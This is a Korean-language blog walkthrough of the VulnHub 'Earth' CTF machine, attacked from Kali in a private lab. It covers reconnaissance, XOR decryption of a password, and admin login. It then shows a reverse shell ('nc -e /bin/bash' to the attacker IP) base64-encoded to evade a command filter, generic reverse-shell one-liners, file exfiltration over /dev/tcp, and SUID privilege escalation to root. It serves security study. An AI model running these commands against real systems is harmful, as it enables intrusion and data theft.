CTF

[CTF: Earth] KaliLinux로 취약점 분석 및 flag 획득 방법 총정리

palantirops 2026. 5. 12. 18:52

 해당 내용은 보안 공부를 위해 진행된것입니다.

 

 

1. 해당 아래 주소로 들어가서 earth.ova를 설치합니다. 

 

https://www.vulnhub.com/

 

 

2. VirtualBox → 파일 → 가상 시스템 가져오기 → 다운받은 Earth.ova 선택 → 설정 후 머신 시작

# 필자는 DHCP가 되어있기 때문에, 어댑터에 브리지로 연결했습니다. 만약 본인 아이피를 정적으로 할당해야 한다면 호스트에 연결을 누르시고, 네트워크 mac대역을 확인하시고 넣으시면 됩니다.

 

 

3. 환경 구성

호스트 역활 OS IP (실습환경)
Kali Attacker Debian GNU 172.16.11.213
Earth Victim Fedora Linux 172.16.11.214

 

4. 네트워크 스캔 - 타겟 IP 찾기

 

(4-1) CTF 머신 아이피를 찾아봅니다.

sudo nmap -sn 172.16.11.0/24
sudo netdiscover -r 172.16.11.0/24
sudo arp-scan -l

 

# 해당 본인 아이피 게이트웨이 대역으로 검색을 해봅니다. 그럼 아래와 같이 나올텐데요. 발견된 호스트 목록을 봅니다.

 

🔍 발견된 호스트 목록
172.16.11.201 - Intel Corporate (물리 장비)
172.16.11.203 - Unknown
172.16.11.214 - Oracle VirtualBox → Earth 머신!
172.16.11.213 - Kali (본인)

따라서 우리가 연결한 CTF 머신의 아이피는 위와 같이 설정된걸 확인할 수 있습니다.

 

 

(4-2)  네트워크에서 활성화 호스트를 찾습니다.

sudo nmap -sV -v -p- 172.16.11.214
sudo nmap -sV -v -sC 172.16.11.214

 

🔍 열린 포트
22/tcp - SSH
80/tcp - HTTP (Bad Request 400)
443/tcp - HTTPS (Fedora Test Page)
+ DNS 서비스 확인 후 해당 아이피를 Kali 파이어폭스에 들어가보면 

 

 

💡 80포트로 접속하면 Bad Request(400)가 뜨는데, 이는 IP로 직접 접근했기 때문이다. 도메인으로 접근해야 정상 페이지가 보인다. -> 따라서 해당 화면은 정상입니다. 핑을 확인해서 시간이 가는걸 확인해보면 되겠죠?

 

5. 웹 정보 수집

(5-1) 아래와 같이 칼리 터미널에 입력해봅니다.

sudo nmap -sV -v -p- 172.16.11.214

 

자세히 보시면 위에 earth.local이 보입니다! 해당 도메인을 아이피와 연결해줍니다(CTF 피해자 머신)

 

sudo nano /etc/hosts

# 아래 내용 추가
172.16.11.214  earth.local terratest.earth.local

 

💡 /etc/hosts에 등록하면 DNS 서버 없이도 도메인으로 접근 가능하다. 실제 모의해킹에서도 내부망 도메인 접근 시 자주 사용하는 방법이다.

 

 

 

(5-2) 디렉토리 스캐닝

# dirb와 gobuster로 숨겨진 디렉토리/파일을 찾습니다.

# dirb로 스캔
dirb http://earth.local
dirb https://earth.local
dirb https://terratest.earth.local

# gobuster로 더 깊게 스캔 (-k : SSL 인증서 무시)
sudo gobuster dir -u https://terratest.earth.local \
  -w /usr/share/wordlists/dirb/big.txt -k

 

첫번째 단서1) http://earth.local/admin

두번째 단서2) wordlist_files? 

->해당 경로를 더 자세하게 들어가본다!

# gobuster로 더 깊게 스캔 (-k : SSL 인증서 무시)
sudo gobuster dir -u https://terratest.earth.local \
  -w /usr/share/wordlists/dirb/common.txt -k

 

 

🔍 발견된 경로
✅ /admin → 관리자 로그인 페이지
✅ /robots.txt → 추가 파일 목록

(5-3) 숨겨진 파일 분석

 

1) http://earth.local/admin

https://terratest.earth.local/robots.txt

 

-> 맨 아래 testingnotes.*로 들어간다. 아래에 들어가게 되면 used as username에 terra가 보인다 -> 이게 아이디다!

 

-> 위에 보면 testdata.txt가 보인다! 거기에 또 들어가면 아래와 같은 문구가 나오는데 CyberChef라는것을 이용해서 XOR 복호화를 할때 사용하는 key가 된다.!

 

 

 

 

일단 위와 같은 사이트에 들어가면 맨 아래, 굉장히 긴 암호문이 있는데 그걸 복사합니다.

1) 칼리 파이어폭스에 들어가서 cyberchef로 들어갑니다.

2) 먼저 오퍼레이션을 눌러서 -> from hex를 먼저 드래그해서 옆으로 옮겨주고

3) 그다음 xor을 검색해서 드래그 해서 옆으로 옮깁니다.

4) 길었던 암호문을 인풋에 넣고, 아래 xor key에는 아까 testdata.txt사이트에 나온 문구를 UTF8로 넣어주면 완성됩니다.

5) 아래가 비밀번호 입니다.

earthclimatechangebad4humans

 

🔑 획득한 계정 정보
ID: terra
PW: earthclimatechangebad4humans

 

 

6. 관리자 페이지 로그인 & User Flag 획득

 

STEP 6-1

획득한 계정으로 /admin 페이지 로그인

http://earth.local/admin
ID: terra
PW: earthclimatechangebad4humans
STEP 6-2

로그인 후 CLI Command 툴에서 User Flag 확인

ls /var/earth_web/
cat /var/earth_web/user_flag.txt
🏁 User Flag 획득 완료!

 

7. STEP 6. 리버스 쉘 (Reverse Shell)

왜 base64로 인코딩하는가?

📌 CLI Command 툴에는 특정 문자열 필터가 걸려 있어 nc 명령어를 직접 입력하면 차단됩니다. 그래서 명령어 전체를 base64로 인코딩해서 필터를 우회합니다.

 


nc -e /bin/bash 는 그냥 외우는 공식이에요

리버스쉘 할 때 nc 쓰면 거의 항상 이 형태예요:

nc -e /bin/bash [공격자IP] [포트]
  • -e : 연결되면 이 프로그램 실행해라
  • /bin/bash : 실행할 프로그램 = bash 쉘

/bin/bash 가 어디있는지 직접 찾은게 아니라 리눅스는 bash가 항상 /bin/bash에 있다는걸 알고 있어서 쓰는 거예요.


마치 공식처럼

  • 웹쉘 실행 가능하면 → nc -e /bin/bash IP 포트
  • python 있으면 → python3 -c 'import pty...'
  • bash 있으면 → bash -i >& /dev/tcp/IP/포트 0>&1

이런 패턴들을 CTF 하면서 하나씩 외워가는 거예요.

처음엔 다 보고 따라하고, 나중엔 자연스럽게 외워지는 흐름이에요 👍

 

STEP 7-1

칼리에서 명령어를 base64로 인코딩

echo 'nc -e /bin/bash 172.16.11.213 4444' | base64
# 출력된 base64 값을 복사해둔다

 

STEP 7-2

칼리에서 4444 포트 대기 (리스닝) -> 터미널을 하나 더 여세요!

sudo nc -lvnp 4444
STEP 7-3

Earth의 CLI Command 툴에서 아래 명령어 입력

echo '복사한base64값' | base64 -d | bash
STEP 6-4

칼리에서 연결 확인 후 인터랙티브 쉘로 업그레이드

python3 -c 'import pty; pty.spawn("/bin/bash")'
⚠️ 자주 하는 실수
- -C (대문자) ❌ → -c (소문자) ✅
- pth ❌ → pty 
- python ❌ → python3 ✅ (Fedora는 python3 기본)
✅ 연결 성공!
whoami 입력 시 → apache 출력 (apache 유저로 접속된 상태)

 

 

STEP 8. 권한 상승 (Privilege Escalation)

SETUID/SETGID란?

📌 SETUID가 설정된 파일은 실행 시 파일 소유자의 권한으로 동작한다.

예: root 소유의 SETUID 파일을 일반유저(apache)가 실행
 실행 순간 root 권한으로 동작!

이를 이용해 일반유저 → root 권한상승(Privilege Escalation)이 가능하다.
모의해킹에서 권한상승 시 가장 먼저 확인하는 항목이다.
STEP 8-1

SETUID 설정된 파일 검색

# SETUID 파일 전체 검색 (에러 메시지는 /dev/null로 버림)
find / -perm -u=s -type f 2>/dev/null

# passwd 파일 확인
sudo find / -name passwd
ls -l /usr/bin/passwd
🔍 발견!
/usr/bin/reset_root → SETUID 설정된 root 소유 파일
STEP 8-2

reset_root 파일 분석

file /usr/bin/reset_root
reset_root
# → RESET FAILED 출력 (조건이 충족되지 않아서)

reset_root 파일을 칼리로 전송해서 분석

STEP 8-3

칼리에서 수신 대기 (새 터미널)

nc -lvnp 3333 > reset_root
STEP 8-4

Earth 쉘(bash-5.1$)에서 파일 전송

cat /usr/bin/reset_root > /dev/tcp/172.16.11.213/3333
⚠️ 파일이 0 bytes로 오는 경우
IP 주소가 틀렸거나, Earth 쉘에서 명령어를 입력하지 않은 경우이다.
반드시 bash-5.1$ 프롬프트에서 입력해야 한다. ip a로 칼리 IP 재확인!
업데이트 후에 ltrace설치해야함 
sudo apt update
sudo apt install -y 
STEP 8-5

칼리에서 파일 확인 및 ltrace로 분석

ls -l reset_root          # 파일 크기 0이 아닌지 확인
sudo apt update -y
sudo apt install -y ltrace
sudo chmod +x reset_root
ltrace ./reset_root
🔍 ltrace 분석 결과 - 필요한 파일 3개 발견
/dev/shm/kHgTFI5G
/dev/shm/Zw7bV9U5
/tmp/kcM0Wewe
STEP 8-6

Earth 쉘에서 3개 파일 생성 후 reset_root 실행

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
reset_root
# → RESETTING ROOT PASSWORD TO: Earth
STEP 8-7

root로 전환

su root
# 패스워드: Earth
🔑 root 계정 획득!
ID: root / PW: Earth

STEP 8. Root Flag 획득

 

 

STEP 8-1

root 홈 디렉토리에서 flag 확인

cd /root
ls
cat root_flag.txt
🏁 Root Flag 획득 완료! CTF 클리어!

💭 회고 및 정리

핵심 개념 정리

SETUID 파일 실행 시 소유자 권한으로 동작 → 권한상승 핵심
Reverse Shell 피해자가 공격자에게 연결 → 방화벽 우회 가능
base64 우회 필터링된 명령어를 인코딩해서 우회
ltrace 실행 파일이 어떤 라이브러리 함수를 호출하는지 추적
dirb/gobuster 웹 디렉토리/파일 브루트포스 스캐닝 도구
XOR 복호화 CyberChef로 암호화된 값 복호화

 

어려웠던 점

  • CyberChef Key 입력 시 HEX/UTF8 드롭다운 설정 헷갈림
  • nc 파일 전송 시 IP 불일치로 빈 파일(0 bytes) 전송되는 문제
  • python3 명령어 대소문자 오타 (-C vs -c, pth vs pty)
  • bash-5.1$ 프롬프트에서 입력해야 한다는 것을 몰라서 연결 안 됐던 것

배운 점

  • 실제 모의해킹 흐름(정보수집→침투→권한상승)을 직접 체험
  • base64 우회가 왜 필요한지 이해 → 방어 관점에서 base64 트래픽도 모니터링 필요
  • SETUID 파일 하나로 root까지 올라갈 수 있다는 것의 위험성 체감
  • IDS(Snort/Suricata)는 탐지만 가능, 차단(drop)은 IPS에서 가능

 

'CTF' 카테고리의 다른 글

[CTF potato] CTF Potato 플래그 찾기 및 과정  (0) 2026.05.15